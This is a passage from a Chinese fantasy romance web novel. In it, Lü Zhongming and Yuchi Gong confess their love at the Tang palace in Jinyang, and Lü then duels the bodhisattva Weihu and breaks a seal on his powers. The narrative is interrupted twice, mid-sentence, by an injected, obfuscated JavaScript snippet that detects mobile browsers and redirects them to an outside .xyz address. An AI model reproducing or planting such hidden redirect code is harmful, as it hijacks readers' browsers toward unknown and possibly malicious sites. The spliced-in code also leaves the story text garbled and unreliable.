“汉之广矣,不可泳思……”一个低沉的声音在远远的高处唱道,把吕仲明吓了一跳,吕仲明回头看,发现正是尉迟恭。 尉迟恭双手按在白玉石栏上,在正殿后的高处,居高临下地看着殿前的空地,吕仲明回头看他,月光洒在他的身上。 “江之永矣,不可方思……”尉迟恭低声唱道,声音带着点暗哑,与惆怅。 吕仲明笑了起来,知道尉迟恭这句出自诗经,意思是汉水辽阔,不可游泳,而水中神祇,毕生不得追求之意,便转身朝高台上走去,边走边以吟唱来回答他:“结交在相知,何必姻缘亲……” 那两句则出自汉乐府箜篌谣,吕仲明稍作改动,便嘲了尉迟恭一熊脸。 尉迟恭却不生气,微微一笑,又唱道:“知我者,谓我心忧,不知我者,谓我何求?悠悠苍天,此何人哉……思君念君,思之如疾……一日不见,如三月兮……” 吕仲明心道多半这是世民教你的,还知道唱情诗了,早就在金鳌岛听过无数次了,便负手,双脚一跳,跃上台阶来,继而跳跳走走,登上高台,自己编了个曲儿,随口唱道:“感君千金意,惭无倾城色……感君意气重,遂得……” 说到此处,吕仲明忽然打住话头,抬头看着尉迟恭,不知为何,最后三个字,他竟然唱不出口。 那诗出自晋人孙绰的碧玉歌,最后一句是“遂得结金兰”。 一旦这么唱了,意思就是我对你没有感觉,不如你我八拜之交,像罗士信,秦琼那样,结为兄弟如何?如果尉迟恭听懂了,那么他俩之间就再无可能了。 那一刻,尉迟恭看着吕仲明,仿佛就要被拒绝,吕仲明心中却一阵微微荡漾,抓住了转瞬即逝的一点点感觉,它非常的弱小,就像一尾稚嫩的小龙,在吕仲明的心头摆了下尾巴,吕仲明却清清楚楚地抓住了它。 “遂得什么?”尉迟恭看着吕仲明的双眼,认真问。 “忘了。”吕仲明笑道。 他走上石阶,尉迟恭让出身边的空位,让他过来,两人站着,眺望高台下的晋阳全城。月光下,屋顶连着屋顶,绵延铺向远方,在房顶的尽头之外,是一望无际的平原,与更遥远的地平线上微微起伏的山峦。 一切都洒满月的银光,十分浪漫。 “那里就是丝绸之路。”尉迟恭示意吕仲明看,说:“这条路,改变了许多人的命运。” “包括你吗?”吕仲明道。 尉迟恭点了点头,说:“小时候,我总想着沿那条路向西边走,看看西边的尽头是什么。就像你总是想离开金鳌岛,去凡间看一看那样。” 吕仲明一震,难以置信地看着尉迟恭,说:“你怎么知道的?” 尉迟恭不好意思地笑笑,说:“你一定不知道我。” 吕仲明道:“你来过金鳌岛?” 尉迟恭说:“不仅来过,还来过许多次……但每一次,我只能看见你,你却看不见我。” 吕仲明道:“什么时候?” 尉迟恭:“在梦里,我的梦里。” 吕仲明诧异地看着尉迟恭,想起他上次确实这么说,难道是老君为他编织出的梦境? “你的家是一片桃花林。”尉迟恭道:“小时候,每当我一个人,挨了师父的打,很孤独的时候睡着了,就会梦见那个地方……那个时候你只有五六岁,你爹教你射箭。” “是的。”吕仲明笑了起来,眼睛明亮,说:“你经常梦见我家吗?” “十六岁以前,经常梦见。”尉迟恭把目光转向远方,出神地说:“有时候在梦里,看见你一个人,在树下睡觉。有时候梦见你从家里偷跑出来,想下人间去玩。还梦见你……被你爹揍了,蹲在湖边哭,我碰不到你,在你的身边,有一层力量,在保护着你,走不近你身前,也进不了你家,只能远远地看着,所以,你爹教你千龙啸夜时,我才偷学到了一点。” 吕仲明只觉这一切实在是太匪夷所思了,尉迟恭又看他,笑着说:“我看着你一年一年地长大。” 吕仲明被尉迟恭勾起了自己童年的回忆,想起自己一个人的时候,偶尔他也会一个人,觉得无聊,却不知要玩什么,总是想偷偷溜到凡间去,没想到,居然会有一个凡间的少年,会通过梦境,时不时地看着他,陪着他长大。 27. 第二十六回:告白 “我喜欢你。”尉迟恭低声道:“我总做那个梦,我知道你会来,你是长大了以后,特地为了我,来陪我的吗?” 吕仲明抬眼,看着尉迟恭,许久后,他还是没有说,那只是老君的一个安排,而是嗯了声,看着尉迟恭的武靴发呆。 尉迟恭说:“我喜欢你,我等你等了十四年,你终于来了。” 吕仲明答道:“我知道。” 他几乎能真切感觉到,尉迟恭的呼吸窒住了。 “你……你愿意……愿意跟我一起吗?”尉迟恭结结巴巴道:“我是说……我是说……” 吕仲明笑了笑,心跳也快了起来,答道:“我不知道……不过我觉得……可以……试试……” 尉迟恭深吸一口气,继而笑了起来,略躬身,偷看吕仲明的脸色,顿时有点手足无措,说:“你是说……” “嗯。”吕仲明伸出手,瞥了尉迟恭一眼,尉迟恭有点紧张,竟是惊慌失措,不敢牵吕仲明的手,吕仲明等了一会,抬起手来,轻轻地挠了挠尉迟恭的下巴。 尉迟恭:“!!!” 尉迟恭一张俊脸登时就红了,尴尬得连吕仲明都感觉到了,吕仲明大囧,抓狂道:“我都没不好意思,你不好意思什么!” 被吕仲明这么一嚷嚷,尉迟恭更尴尬了,抓着汉白玉栏杆,原地转了个圈,躲到台阶下,跑了。 吕仲明:“……” “我……”尉迟恭道:“你你你……你让我冷静一会。” 尉迟恭站在台阶下,背对吕仲明直喘气,吕仲明跟了下去,趴在他的背上。 尉迟恭全身肌肉明显一僵,吕仲明却道:“昨天你背我回去睡觉的时候,很像我爹的背脊。” 那种靠着的感觉,令吕仲明很有安全感。 尉迟恭缓缓转过身来,让吕仲明站好,自己略躬下身,双手撑着膝盖,把脸凑到吕仲明面前。 吕仲明的呼吸变得急促起来,有点紧张,尉迟恭的唇即将触到他的唇时,远处正殿内,响起一阵激动的叫嚷声。 李渊一定是说了什么,多半是宣布了起兵反隋的决定,灯火通明,人声鼎沸,似乎十分激动人心。 然而远离正殿的台阶上,吕仲明却充耳不闻,再次看着尉迟恭。尉迟恭则专心地吻了上来。 尉迟恭的唇温暖舒服,吻上来时,吕仲明的心底一阵荡漾,却不太懂如何去回应他,两人的唇轻轻碰触,分开,又碰触,呼吸交错。 静夜里,春风吹过,月夜下仿佛万千花开。 “我……”吕仲明的心跳得越来越厉害,他看到尉迟恭的脸颊带着红晕,那笑容仿佛十分幸福且暧昧,吕仲明忍不住也笑了起来。 “这么高兴吗?”吕仲明看着尉迟恭的唇,总感觉有点奇怪。 “嗯。”尉迟恭的目光都驻留在吕仲明的眼睛里,唇上,他伸出手要抱吕仲明,吕仲明便不自然地把手抬起来,让他抱了。尉迟恭的身躯火热,抱着他时又要来吻他。 尉迟恭像头狼一般,不停地吻他。吕仲明非常不习惯,像个木头人一样,被尉迟恭抱着,尉迟恭吻了又想吻,接吻时,吕仲明不知道为什么,脑子里翻来覆去,只有一个念头: (他的口水会跑到我嘴里来吗,不要这样吧……口水别过来别过来……) 尉迟恭又亲了他的脸一下,看到他有点抽搐的笑容,马上意识到自己可能有点过分了。 “我……”尉迟恭忙放开吕仲明道:“不不……不好意思。” “没……没什么。”吕仲明刚刚被尉迟恭吻的时候,头皮一阵发麻,现在放开时,衣服都乱了,喘气也有点急促。他一时半会还没法接受尉迟恭这么狂热的爱,脸上表情都有点惨不忍睹。 “没事罢。”尉迟恭紧张道:“是不是不舒服?” 吕仲明衣服被揉得乱糟糟的,努力把走形的外袍拉好,脸上发红,笑了起来。尉迟恭也哈哈笑了起来,挠挠头,怪不好意思的。 “我太高兴了,没吓到你吧。”尉迟恭道。 两人静了一会,尉迟恭忽然笑着说:“上菜了,先回去罢,吃饱点。” 吕仲明终于可以逃离这么尴尬的气氛了,忙不迭点头,尉迟恭便牵着吕仲明的手,带他回去。 吕仲明被尉迟恭牵着的时候,感觉又有反应了,他的手掌很舒服,而且像是怕用力了,手指松松地勾着。吕仲明用小手指顺便挠了挠他的手掌心,看得见尉迟恭喉结动了动。 吕仲明笑了起来,闪身进殿,这时候殿内所有人都喝得满脸通红,兴高采烈地在说话,声音大得要将房顶掀翻。 吕仲明心道错过了经典一刻,可惜可惜,便回去坐下,尉迟恭则低着头,匆匆走过武将席,罗士信与身边的刘政会正说着话,突然把腿一横伸出来,把尉迟恭一绊,尉迟恭险些扑了个五体投地。 周围几个武将都笑了起来,尉迟恭指指罗士信,罗士信却狡猾一笑,尉迟恭快步回到自己席上,吁了口气,盘膝坐下,一手按着大腿,许久仍不敢抬头。 吕仲明则与长孙无忌聊了几句,望向对面,见尉迟恭略抬起头来,两人对视,尉迟恭脸上带笑,却不明显,竭力控制自己嘴角,不傻笑出来。彼此都是心中温暖,各自别过目光去。 李世民侧到尉迟恭身边,问了句什么,李靖又端起杯敬他,尉迟恭笑着喝了。 文臣席上: “方才去做什么了?”长孙无忌问道:“你错过一个大消息。” 吕仲明道:“我的筷子呢?”坐下先是到处找筷子,继续开吃,随口道:“知道,要起兵了么?” 长孙无忌正要复述,主位上,李渊举杯起身,说:“各位英雄,本王能得诸位协助,大事必成,今日便请众位,助我一臂之力,结束这乱世,还天下百姓一片乐土。” “好!” “谨遵唐王吩咐!” “从今日起,水里来水里去,火里来火里去!” 众人纷纷举杯应和,都显得十分激动,吕仲明也跟着举杯,喝了口酒便放下,扫视席间宾客,一眼便看出了哪些是借酒力兴奋起来,几个真正愿意为李渊毫无保留效忠的,反而都显得十分冷静,克制。 尤其是不见喜怒的柴绍,以及摸不清心思的李靖。 大家把酒喝了,李渊便告罪离席,前去偏厅内宣布这个消息,留下李世民与李建成,挨桌敬酒。到吕仲明这桌面前时,长孙无忌便一勾吕仲明脖子,朝李建成道:“建成大哥,不必说了,大家都是自己人。” 李建成笑了笑,一起敬了吕仲明与长孙无忌二人,也不多言,李世民过来时,直接忽略了他俩,到下一桌去,敬完下一位后,还抽空朝吕仲明挤了挤眼,做了个亲嘴的嘴型。 吕仲明:“……” “他什么意思?”长孙无忌道。 吕仲明忙摆手,坐下继续吃。 不片刻,隔壁厅内传来嘈杂人声,都是轰声雷动,吕仲明心道李渊又去煽动门客了,这也真够难为他的,累不累啊,同样的话,还得调动情绪,说好几遍。待得那边声音渐小时,李世民便与李建成告退,过隔壁去敬酒,留柴绍陪客。 终于,第三次欢呼声在远方响起,又一个招待吃饭的偏厅内也通知到时,这造反前动员大会才算大功告成。吕仲明已经觉得又囧又雷了,不知道几名当事人是怎么想的。 这边正殿内,大家都已吃饱喝足,柴绍便亲自下来,将人送到门外,住府外的则有人接着。 吕仲明再回来,反而吃不下山珍海味,心事重重的,心里翻来覆去,都是尉迟恭那一吻,他忍不住又去看尉迟恭,看他的侧脸,看他的唇,以前倒是觉得还好,觉得他稍稍偏黑了那么一点点。但是现在看,又觉得挺帅的,他终于觉得有点砰然心动了。 刚刚在外头约会时,都没说几句话,顾着尴尬了,好几天没见,待会一定要与他好好说点话了……好像也没几天,昨天才见了的…… 吕仲明吃了没多少便不吃了,宾客散尽后,罗士信与秦琼过来,问:“回去?” 吕仲明抬头看尉迟恭,尉迟恭正在与李靖说话,仿佛有感觉,转过头,吕仲明以眼神询问,尉迟恭便指指地上,示意他先等一会,自己马上就来。 “你们先回去吧。”吕仲明道:“我等尉迟。” 醉醺醺的罗士信捏了捏吕仲明的脸,秦琼笑着摸摸吕仲明的头,两人便走了。不片刻,长孙无忌道:“我去接我妹妹,先告辞了。有空到城里府上来玩。” 吕仲明忙道:“你先走,不必等我。” 长孙无忌也走了,殿内剩下没几个人,尉迟恭正要起身过来时,偏门内又来了名侍卫,请尉迟恭去有事商议,尉迟恭只得跟着去。 吕仲明见婢女已在收拾厅内,便起身到外面去等,孰料刚走出来,便与一名僧人,一名武将打扮的少年打了个照面,那两人还与李建成在一起,三人正在低声聊天,缓缓走来,吕仲明登时心中咯噔一响。 李建成见他便停步,说:“吕先生。” 吕仲明道:“我在此处等敬德。” 李建成道:“父王应当是请他去见段将军了。不需多久便回来。” 吕仲明看着那两人,又问:“这两位是……” 僧人朝吕仲明和蔼笑笑,双手一合施礼,两手中指交错放在虎口上,拇指拈着无名指,食指,小指立起,以礼当胸。 那僧人道:“南无药师琉璃光如来。” “无量天尊。”吕仲明还礼道,心想这应该就是送佛珠给长孙无忌的僧人了,口称“南无药师琉璃光如来”……又是净土宗,多半是药师佛属下没跑。 “这位是净土宗的善导大师。”李建成也有点醉意,却仍克制着,情绪镇定,保持得很好,道:“在并州修行,特地赶来晋阳,为百姓祈福,两位,这位是府中上卿,吕先生。” “我知道他是谁,金麟道尊。”那少年一副慵懒模样,笑笑道:“好久不见。” “我认得你?”吕仲明一凛道。 李建成表情略一变,问:“吕先生与……韦大师认得?” “你不认得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563135|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,我却认得你。”那少年道:“我叫韦护,想起来了没有?” 韦护……韦护……吕仲明登时色变,昆仑十二仙中的道行天尊弟子,不就是韦护? “原来是韦驼菩萨。”吕仲明道:“久仰了。” 李建成:“???” 韦护背着一把黑黝黝的烧火棍,未及吕仲明身高,吕仲明却知道这家伙决计不能小看,他背后的那物,反倒是一把法宝,名唤降魔杵,专打妖魔鬼怪,一杵下去,任何妖物都必现原型。 “菩萨?”李建成莞尔道。 “外号而已。”韦护道。 吕仲明只看了韦护一眼,目光便停在善导身上,善导三十来岁,形止雍雅,僧袍涤得一尘不染,危险的不是韦护,而是这名叫善导的僧人。通常越是法力高强的人,就越是不需要法宝,韦护法宝不离身,可见能力不算太强。 韦护号称降魔天尊,本事应当也只拿来对付妖魔用,皈依佛门前出身昆仑山,且是第三辈弟子,修为尚在道行天尊之下。道行天尊的修为已是十二仙里吊车尾的,若自己一身神兽之力尚在,韦护不足为惧。 倒是这位善导大师,恐怕是个厉害角色…… “今夜月光普照。”善导笑道:“金麟道尊可有所获?” 吕仲明笑笑,说:“情定三生三世,以月为证,感念月光菩萨大德。不过,善导大师想必不是专程为此事而来,可是并州有何事,惊动了药师佛?” 善导答道:“并无大事,唯祈愿佛力消弭并州兵甲之乱,为晋阳百姓,求得一世安宁。” 李建成笑道:“善导大师在函谷关下一路走来,与韦大师沿途救了不少百姓,万民敬仰,能请来晋阳,乃是父王之福。” 善导微微一笑,说:“唐王爱民如子,若能照拂一方百姓,才是天下之福。” 吕仲明心道原来是李建成带回来的,你不知道你老爹向来就不待见佛家么……成天把和尚朝家里带做什么。 韦驮又问:“世子,何时能见唐王以免?” 李建成这时候才意识到些许不妥,吕仲明是道士,姓韦的与善导都是和尚,万一李渊召见,双方会不会争论起来,正犹豫时,吕仲明却以眼神示意他心安,李建成道:“两位请到东府上稍等,舍弟已扫榻恭迎,稍后父王得以抽身,会亲来拜访,怠慢之处,请多多包涵。” 吕仲明道:“三位请。” 李建成微一颔首,双方交换了个眼神,李建成便带着善导与韦陀朝走廊里去。吕仲明心事重重,又见韦护回头,看了他一眼。 看什么看!吕仲明便瞪了回去。 吕仲明心里七上八下,韦驮还好说,月光菩萨这么一来,自己多半也走不了了,万一趁着他不在,给李家这群人灌了迷……不,是“以大慈悲打动了唐王”,这可不好。自己又一点力气没有,还不能动手直接轰人,得怎么想个办法,让李世民把他俩安排到王府外去……正寻思时,走廊里又来了个被婢女搀扶着的窈窕少女。 吕仲明:“???” 少女莞尔一笑道:“吕兄?” 吕仲明看她行止雍容,清丽美貌,心念一转便回过神,说:“长孙姑娘?” 那女孩正是长孙无忌之妹长孙氏,笑道:“尉迟将军有点事,请您先回去,稍后他会过来找您。” 吕仲明忙点头道:“多谢。” 长孙氏微一行礼,款款下了楼梯,登上马车离去。 吕仲明知道要通知他先走,再怎么也得找个侍卫过来通知,不可能让长孙氏跑一趟,想必这女孩是听说了他吕仲明为她未来夫君批的姻缘,才好奇心起,过来看看,摇头笑笑,径自离开。 绕过回廊,吕仲明实在有点心神不定,想去探探对方底细,至不济,先见李渊一面再说。 但他总觉得李渊似乎不太喜欢自己,是因为那老狐狸觉得他太狡猾了?来了唐王府这么久,李渊除了第一次问道以外,就没主动召见过他。当然也可能是太忙了,手下一堆事都忙不过来,没空跟他聊天。 吕仲明左思右想,还是决定去李渊住处看看,说不定尉迟恭,李世民和长孙无忌都在那里。便绕过长回廊,兜了条远路,经过后院朝李渊住处走。 夜已深,天空乌云飘过,遮没了月光,四周一片寂静,远处李渊住的地方还亮着灯,四下无人,吕仲明正加快脚步时,黑暗里却传来一个声音。 韦护:“想去哪里?” 吕仲明停下,结道家手印,先是礼貌道:“降魔道尊。” 韦护笑道:“金麟道尊。”手里拄着降魔杵,懒洋洋地站着,接着抬手一抹,四周亮起光芒,结下一个消音障壁。 “菩萨想玩点什么?”吕仲明见躲不过,既然都找上门了,一副要打架的样子,输人不能输气势,自己也豁出去了,大不了被不声不响揍一顿,嘴巴上先讨够场子再说。 韦护道:“这话该我问才是,金麟道尊,你到这时代里来,想玩什么?截教早已退出,无意与阐教再争,通天教主这一步棋,可下得不甚高明。” 28. 第二十七回:初败 吕仲明道:“韦陀菩萨,据我所知,你和阐教已没有关系了吧。” 韦护一笑道:“道尊也好,菩萨也好,总归是个仙人,听我一言,回去罢,就你一个,仙力还被阿弥陀佛的卍字印封住了,你爹是送你来当炮灰的么?” 换了是从前,韦护只要说出第一句的半句“想去”字,就会被吕仲明一巴掌抽到月亮上去见他的月光菩萨,奈何现在仙力被封,人为刀殂,我为鱼肉,吕仲明只得强自按捺住满腔愤怒,陪他闲聊扯蛋,当真是憋得好不辛苦。 “少废话。”吕仲明嘲笑道:“你们把元始天尊怎么了?韦护,你这种杂碎,小爷从来就不把你放眼里,你师父要亲自上门来,小爷说不定还卖他几分面子。” “哈哈哈——”韦护大笑:“好大的口气!元始天尊死了,没人保得了你,死心罢。” 死……死了?!怎么可能?!三清之一的元始天尊死了?!吕仲明马上就不知道下一句要接什么了,这个消息简直太震撼。 数秒后,吕仲明冷冷道:“死了也得把尸体交出来。” 韦护:“……” 韦护根本没料到对方的脑回路如此诡异,登时就抓狂了,怒道:“你没听明白么?!他没了!身体与天地同化,永远地消失了!” “那又怎么样?”吕仲明眉头深锁道。 “你必须滚回去。”韦护道:“就算阐教散了,昆仑山玉清宫关了门,天庭拆伙了,也没你们截教的事,回去告诉通天教主,他有一天也会死,早点准备后事罢。” 吕仲明嘲笑道:“如果不滚呢?” 说完以后暗道糟糕,这不是逼韦护动手么?怎么办?大喊大叫,引兄弟们出来对付他吗?不行,凡人根本不是韦护对手……他的消音障壁料想就是防这个的。 韦护道:“不滚,就把你揍到滚为止。” 吕仲明嘲道:“还以为你有什么新鲜话说,也罢,你们阐教就这么点出息了,上来领死罢。” 说毕吕仲明静静站着不动,眯着眼,释放一身仙力,脖颈处的卍字符文微微亮起,默念一二三,韦护你识趣的就速度跑路。 韦护似乎有点被唬住,毕竟他不知道佛门封印把吕仲明的仙力封得剩下几成,如果吕仲明强行冲开,估计被打得连滚带爬的人就要变成韦护自己了。 韦护终究不敢冒险,观察吕仲明的神色:“金麟道君,你现在心中一定在骂我,明知你仙力被封住,还以降魔杵对付你,是也不是?” 吕仲明心中咆哮道:你要逃跑就快点逃跑吧!哪来这么多废话! 表面上,吕仲明冷笑道:“是与不是,接我一招就知。” 韦护道:“我与你打一个赌,如何?” 吕仲明抬眼看他,那目光十足十像极了吕布,仿佛在打量自己的猎物一般,沉声道:“不用赌了,这就把你……” 说毕,吕仲明双掌一拢,再一分,韦护色变道:“慢!” “我便不动仙力,免得毁了此地,只以凡人武艺与你打一场。”韦护道:“若你输了,便回金鳌岛去,从此不再过问李家家事,如何?” 吕仲明顺势收招,心道好险,片刻间一动念,又生出一个计划来,心里便有了主意,漠然道:“韦护,若你输了呢?” 韦护道:“我便不再阻挠你,但管不了月光菩萨。” “来罢。”吕仲明看也不看韦护,随口道:“让你三招,免得说我欺负长辈。” 韦护登时就悚了,看吕仲明那架势,显然胸有成竹,难道一直在扮猪吃老虎? “少废话!打不打!”吕仲明喝道:“不打我打了!” 韦护还没反应过来,吕仲明已和身欺上,明明说好让人三招,却假装一怒之下出手偷袭,韦护根本来不及骂他,脑子也没转过弯,只见吕仲明以左手切,右手扬,手势作太极轮漂亮一翻,韦护一举降魔杵,格住吕仲明手臂,幸好躲得快,差上那么几毫,就要被吕仲明重重扇上一巴掌! 两人一动起手,登时撞在一起,吕仲明拳飞脚踢,招招抢先,韦护开始时有那么一瞬间的迟疑,便完全被吕仲明压着打,根本没法还手,及至被吕仲明逼到墙角,才大怒展开反击,以降魔杵一扫,吕仲明悍然一掌拍在降魔杵上,当的震响,在静夜里远远传开去。 那一掌直是得了吕布真传,吕仲明学武吊儿郎当,三天打鱼两天晒网,只有这一掌是练了无数次的,因为从前要一掌击到树干上,树上的桃子才会掉下来,掌力必须绵绵延延滔滔不绝犹如长江黄河奔腾向海…… 这么一拍下去,降魔杵登时嗡嗡震荡,震得韦护险些兵器脱手,韦护色变,吕仲明心里却哭爹叫娘地嚎好痛好痛,手都要肿了。快点用佛家法力……再不用小爷就要被打死了…… 是时韦护已大约看出吕仲明底细,展开反击,吕仲明阴沉着脸,稀奇古怪的招数层出不穷,打得韦护眼花缭乱,时而脚踢时而掌击,及至韦护终于发现这厮似乎也没什么杀伤力时,才和身冲上,抡起降魔杵,硬碰硬地又是一撞! 此刻吕仲明已打定主意,拼着自己受伤,再挨他一招,引他使佛门力道出来,如果这次韦护还不用,就只好转身边大叫边逃跑了。 须臾间吕仲明被撞飞出去,在地上一个翻身,韦护追上,一杵直捣,吕仲明却抓到一根倚在院墙旁的笊篱,看也不看,便长啸一声,无视了韦护的降魔杵,拼着中一招的伤,回身便使出千龙啸夜,朝韦护卷去! 笊篱登时一化三三化十地幻化出虚影,颇得道家“三生万物”的真谛,韦护一见之下不敢冒险,抽回降魔杵耍成一个盘,呼呼风响,接下了这一招,却终究被吕仲明抽了一记,登时左半边脸肿了起来。 韦护勃然大怒,吼道:“混账!” “杂碎。”吕仲明冷笑道,两人再次冲上前,笊篱折断,韦护一杵横扫,吕仲明踏上降魔杵,一个后空翻,韦护追了上来,吕仲明却两脚一蹬院墙,借全身前冲之力,一掌拍来! 韦护受辱,愤怒无比,不自觉地用上了真力,吕仲明勃然大怒,吼道:“言而无信!死吧你!”继而脖颈上的封印一闪,爆发出耀眼光芒,韦护大惊,要收手时已太迟,两人在半空中一撞,吕仲明一掌拍中降魔杵,嗡的闷响,胸口激荡,韦护却是被降魔杵撞中面门,及时展开佛光与真力护体,饶是如此,脸上也挨了倒飞回来的降魔杵一记闷击,一头撞在院墙上,咚的一声。 吕仲明则挨了降魔杵这么一招,撞上背后院墙,哗啦一声,砖墙垮了大半。吕仲明直摔到另一个小院里,全身抽搐,半天爬不起来。 韦护吐出一口血,左手骨折,踉跄起来,右手捡起降魔杵,吕仲明狼狈不堪,咳道:“你……说好不用仙力,你这杂碎……” 韦护道:“你……你……原来你在设套诳我……” 吕仲明先前那一式千龙啸夜确实是要激怒他,令他动用仙力,这么一来韦护输了不论,那佛家真力贯穿吕仲明身体,令他脖子上的封印登时松动。 卍字符文发出淡淡的金光,韦护那一式残留的真力,还在吕仲明体内运转,他躲在墙后,凝起真气,运用那股力量,尝试着冲破先前的佛印。果然再一冲之下,佛印渐渐黯淡下去。 韦护左想右想,输得甚是不甘心,只觉对方使诈,要越过院墙来前,却听到远处有人遥遥道:“谁在那里?!” 有人打着灯笼走来,韦护转身要跑,那人声音却充满威严,喝道:“站住!我已经看见你了!不想被当成刺客就给我安分点!” 来者竟是李世民,韦护刚一转身,便意识到李世民乃是人间天子,有紫微星罩着,不敢造次,李世民身后还站着尉迟恭,这下更跑不掉。 韦护收敛心神,方才的血已抹去,手臂也泛出金光,渐渐痊愈,当即背持降魔杵,竖起手掌,客气道:“世子,冒犯了。” “韦大师?”李世民有点意外,问:“在这里做什么?” 韦护道:“夜里习练棍法。” 尉迟恭冷冷道:“习练棍法,把墙也拆了?” 吕仲明听到尉迟恭的声音,心跳便漏了一拍,自己摔得十分狼狈,又怕尉迟恭看到自己挨揍了,要直接与韦护动手。 韦护真要祭起降魔杵,整个王府的人全加起来都不是他对手。不能把事情闹大,否则难以收拾。 吕仲明忙起身连滚带爬地朝着树后躲,还不忘小心避免发出任何声音,躲到树后草丛里时,胸腹中又是一阵气血翻涌,险些把吃下去的晚饭全吐出来。 李世民道:“韦大师要练武,可到殿外校场去。” 韦护也不想惹麻烦,笑道:“承蒙世子包涵,惭愧。” 李世民点点头,韦护便转身走了,吕仲明蹲在树后,像头狼狈的狗,只觉背脊疼得要断掉了,鼻子前又有热热的液体淌下来,淌到唇间,伸手一抹,借着微弱的天光看到满手血。 应当接了那记降魔杵导致内伤……吕仲明全身剧痛,藏身草丛中,听到脚步声接近,心中又狂跳起来。 千万别过来……妈的,这次丢人丢到家了,吕仲明暗自祈祷,别来别来,他实在不想尉迟恭发现自己这丧家犬的狼狈模样。幸亏脚步声到了不远处便停下了,李世民道:“那俩家伙也不知是什么来历,我先回去了。” 尉迟恭道:“我先回去拿点东西,再去长香苑一趟。” 李世民道:“你悠着点儿,仲明好不容易答应了你,别一开始就把人吓跑了。” 尉迟恭笑了起来,说:“知道了。” 李世民从另一条路走了,尉迟恭吹了声口哨,离开。 两人都走了,吕仲明才抖抖索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563136|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索,从树后出来,一手按着树,觉得浑身全在疼,还不是小疼,手掌肿了,背后湿淋淋的,血和汗水混在一起,简直痛不欲生。胸闷欲呕,直是受了内伤,脑子还昏昏沉沉的,嗡嗡地响。 吕仲明抹了把鼻血,踉踉跄跄地朝家跑,一路上只想着要瞒住秦琼罗士信,否则麻烦只会越来越大,跟韦护打了这么一架,发现自己武功其实还是可以的嘛。 小二愣子又有点小得意,居然在仙力全失的情况下,把一个菩萨给揍成这样……虽然自己也是伤敌一万自损八千,总算侥幸赢了,不幸中的万幸……不算太丢爹的人…… 吕仲明跌跌撞撞,回到长香苑外,见里面亮着灯,厅堂里没人,便一头撞进去,火速上楼,免得被兄弟们发现,今天晚上大家都别想睡觉了。 秦琼听到声音后出来,问:“吃宵夜么?又上哪去了?” 吕仲明在楼梯上没命朝上爬,说:“不吃了,罗……罗大哥呢?” 秦琼:“喝高了,正躺着,吐了一地,我在给他收拾。” 吕仲明道:“我有点困……先睡了。” 秦琼嗯了声,又探头朝楼梯上看,吕仲明飞快地关上了门,秦琼问:“那黑炭怎么你了?” “没有。”吕仲明在楼上道。 秦琼只以为吕仲明又在纠结恋爱什么的,便不去多问,出去洗毛巾。 院里传来水声,婢女小声道:“秦将军,我来罢。” “我来就行。”秦琼道:“罗将军睡觉时别乱靠近他,他下手没轻重,只感觉得出我和仲明,其余人碰他,他要杀人的。” 婢女脸色发青,瞬间就走了。 吕仲明背靠房门,疲惫地坐下来,满脸淌血,手指缝里全是鼻血,先前一直用袍襟捂着,没想到流了这么多,背脊一靠上门去,便疼得犹如针扎一般。 吕仲明左右看看,突然想到自己的血可以给随便什么东西开光……然而现在实在没力气开光了,便勉强脱下袍子,跪下来,一头杵在地上,撅着屁股,就这么趴了将近一炷香时分,感觉终于好过点了,才晕头晕脑地起来,脱了衣服,背对镜子打量。 还好,没怎么流血,只擦破了点皮,整个背连着腰全淤青了,手掌也肿了。 吕仲明用脱下的衣服把鼻血擦干净,又把脏衣服都藏到床下去,喝了点水,胸闷好了些,换上里衣,听到院子里尉迟恭的声音。 “仲明呢?” 吕仲明忙把油灯吹了,说:“我要睡觉了。” 秦琼小声问了尉迟恭几句话,两人交谈了一会,秦琼便道:“让他先睡罢,今天也累了。” 尉迟恭有点失望,但仍笑着说:“我明天早上过来。” 吕仲明走到窗前,推开窗朝外望,见尉迟恭手里的灯笼发着光,渐远去,这才关上窗,长吁一口气。 半个时辰后,整个王府入睡,长香苑里各个房间也熄了灯,罗士信酒醒了,只穿着条白色长裤,出来喝了口水,抬头看楼梯上,便赤着脚上去,推门进了吕仲明房间。 吕仲明趴着睡,盖着被子,月光照进屋里来,桌上放着张纸,上面是没写完的信,里头只有一句话。 【爹: 我想家了,今天尉迟 罗士信看了眼那封信,拿了个镇纸,轻轻把它压着,给吕仲明盖好被子,下楼去。 罗士信刚走,吕仲明马上又一个翻身坐起来,那举动牵动背后伤势,登时痛得要死不活。 吕仲明屏息静气,调匀内息,引领着韦护那道强悍气劲,不住冲击侧颈上的卍字封印,片刻后他察觉了佛力封印的规律,那道卍字就像无止无尽的漩涡,不停地旋转,堵住了自己全身真力的流向。 韦护之力与卍字封印的金光之力系出同源,彼此绞在一起,巧妙地阻缓了漩涡的旋转,吕仲明再凝聚自身的仙力一冲,成了! 刹那间卍字符文发出刺眼的光芒,只是短短一瞬,便又暗淡下去,脖颈处灼热犹如被火烫了一般,封印瞬间消弱,吕仲明马上调起全身气力,压制住它,以免再次惊动天降佛光。 片刻后,卍字符文不再旋转,被吕仲明一身气劲粘住,吕仲明闭着双眼,调匀气息,以阴阳内息包裹着卍字符文,犹如一个太极轮般,再将它反封印起来。 太好了,这样就谁也不知道了…… 吕仲明缓缓睁开双眼,背后的伤势逐渐愈合。 